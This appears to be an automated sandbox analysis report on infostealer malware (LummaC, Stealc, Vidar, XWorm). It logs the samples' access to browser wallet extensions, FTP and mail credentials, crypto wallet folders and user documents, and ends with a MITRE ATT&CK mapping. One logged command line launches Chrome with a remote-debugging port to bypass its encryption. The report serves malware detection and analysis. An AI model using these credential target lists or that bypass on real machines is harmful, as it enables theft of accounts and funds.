Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000003.2317467498.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2317983248.00000000013AF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2317652928.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2z8320.exe PID: 6012, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe PID: 3872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f7eded9312.exe PID: 7424, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: f7eded9312.exe PID: 7424, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 2z8320.exe PID: 6012, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2847320662.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2840537714.00000000000D1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe PID: 3872, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe PID: 3872, type: MEMORYSTR

Yara detected XWorm

Source: Yara match	File source: 24.2.abu7zly.exe.eb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.3445607338.0000000000EB2000.00000040.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2836782054.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: abu7zly.exe PID: 3524, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C830C40 sqlite3_bind_zeroblob,	10_2_6C830C40
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C830D60 sqlite3_bind_parameter_name,	10_2_6C830D60
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C758EA0 sqlite3_clear_bindings,	10_2_6C758EA0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C830B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	10_2_6C830B40
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C756410 bind,WSAGetLastError,	10_2_6C756410
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C756070 PR_Listen,	10_2_6C756070
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C75C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	10_2_6C75C050
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C75C030 sqlite3_bind_parameter_count,	10_2_6C75C030
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7560B0 listen,WSAGetLastError,	10_2_6C7560B0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C6E22D0 sqlite3_bind_blob,	10_2_6C6E22D0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7563C0 PR_Bind,	10_2_6C7563C0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C759400 sqlite3_bind_int64,	10_2_6C759400
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7594F0 sqlite3_bind_text16,	10_2_6C7594F0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7594C0 sqlite3_bind_text,	10_2_6C7594C0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C759480 sqlite3_bind_null,	10_2_6C759480

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	12 Native API	1 Scheduled Task/Job	1 Extra Window Memory Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	23 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	21 Registry Run Keys / Startup Folder	1 Access Token Manipulation	4 Obfuscated Files or Information	Security Account Manager	249 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 Command and Scripting Interpreter	Login Hook	12 Process Injection	12 Software Packing	NTDS	11 Query Registry	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Scheduled Task/Job	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	971 Security Software Discovery	SSH	Keylogging	1 Remote Access Software	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	1 PowerShell	RC Scripts	21 Registry Run Keys / Startup Folder	1 File Deletion	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	3 Non-Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	461 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	114 Application Layer Protocol	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	461 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
